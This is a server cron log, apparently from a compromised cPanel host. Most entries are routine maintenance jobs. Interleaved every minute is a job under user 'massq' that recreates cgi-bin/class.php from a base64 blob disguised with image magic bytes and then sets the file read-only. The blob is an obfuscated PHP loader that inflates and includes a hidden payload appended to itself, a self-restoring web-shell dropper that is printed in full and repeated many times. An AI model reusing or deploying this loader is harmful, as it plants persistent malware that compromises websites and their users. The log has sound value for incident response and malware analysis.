Aug 31 19:02:01 server CROND[23449]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 19:02:01 server CROND[23450]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 19:02:01 server CROND[23451]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 19:03:01 server CROND[23834]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 19:03:01 server CROND[23835]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 19:03:01 server CROND[23836]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 19:04:01 server CROND[24261]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 19:04:01 server CROND[24262]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 19:04:01 server CROND[24269]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 19:05:01 server CROND[24649]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 19:05:01 server CROND[24650]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 19:05:01 server CROND[24660]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 19:05:01 server CROND[24659]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 19:05:01 server CROND[24661]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 19:05:01 server CROND[24663]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 19:05:01 server CROND[24666]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 19:05:01 server CROND[24662]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 19:06:01 server CROND[25497]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 19:06:01 server CROND[25498]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 19:06:01 server CROND[25499]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 19:07:01 server CROND[25953]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 19:07:01 server CROND[25954]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 19:07:01 server CROND[25955]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 19:08:01 server CROND[26324]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 19:08:01 server CROND[26323]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 19:08:01 server CROND[26325]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 19:09:01 server CROND[26707]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 19:09:01 server CROND[26709]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 19:09:01 server CROND[26708]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 19:09:01 server CROND[26710]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 31 19:10:01 server CROND[27097]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 19:10:01 server CROND[27101]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 19:10:01 server CROND[27108]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 19:10:01 server CROND[27115]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 19:10:01 server CROND[27120]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 19:10:01 server CROND[27126]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 19:10:01 server CROND[27119]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 19:10:01 server CROND[27124]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 19:11:01 server CROND[27936]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 19:11:01 server CROND[27937]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 19:11:01 server CROND[27938]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 19:12:01 server CROND[28412]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 19:12:01 server CROND[28413]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 19:12:01 server CROND[28414]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 19:12:01 server CROND[28415]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 19:13:01 server CROND[28850]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 19:13:01 server CROND[28851]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 19:13:01 server CROND[28852]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
